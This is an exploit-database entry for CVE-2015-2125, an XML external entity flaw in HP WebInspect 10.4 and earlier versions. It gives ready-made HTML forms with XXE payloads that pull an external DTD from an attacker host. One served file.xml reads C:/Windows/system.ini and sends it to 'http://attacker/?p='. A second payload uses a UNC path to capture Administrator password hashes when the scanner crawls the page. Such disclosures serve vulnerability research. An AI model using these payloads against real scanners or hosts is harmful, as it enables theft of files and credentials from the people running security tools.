webappmultipletext

HP WebInspect 10.4 - XML External Entity Injection

Publié le 2015-06-10

Code source

Épinglé au commit 7eac4c3a2ce5

textplatforms/xml/webapps/37250.txt7eac4c3a

# Exploit Title: HP WebInspect - XML External Entity

# Date: 23\04\2015

# Exploit Author: Jakub Palaczynski

# Vendor Homepage: http://www.hp.com/

# Version: 10.4, 10.3, 10.2, 10.1, 10.0, 9.x, 8.x, 7.x

# CVE : CVE-2015-2125



1. Create website that exploits vulnerability.



1.1. Website that steals files using OOB technique:

1.1.1. Website that triggers vulnerability:

<html>

<body>



<form action="/" method="POST">

<input type="hidden" name="payload" value='<?xml+version="1.0"+encoding="utf-8"?><!DOCTYPE+m+[+<!ENTITY+%25+remote+SYSTEM+"http://attacker/file.xml">%25remote;%25int;%25trick;]><tag></tag>'/>

<input type="submit" value="Submit" />

</form>



</body>

</html>

1.1.2. file.xml file that is served on attacker's host. This file specifies which file should be retrieved from remote host and where content of that file should be sent:

<!ENTITY % payl SYSTEM "file:///C:/Windows/system.ini">



<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://attacker/?p=%payl;'>">



1.2. Website that steals hashes of Administrator user:

1.2.1. Website that triggers vulnerability:

<html>

<body>



<form action="/" method="POST">

<input type="hidden" name="payload" value='<?xml+version="1.0"+encoding="utf-8"?><!DOCTYPE+m+[+<!ENTITY+%25+remote+SYSTEM+"\\attacker\path\file.txt">%25remote;]><tag></tag>'/>

<input type="submit" value="Submit" />

</form>



</body>

</html>

1.2.2. Attacker needs to start tool on the server that captures hashes.



2. Exploit is triggered while profiling or scanning created application using vulnerable versions of HP WebInspect.

Voir sur GitHub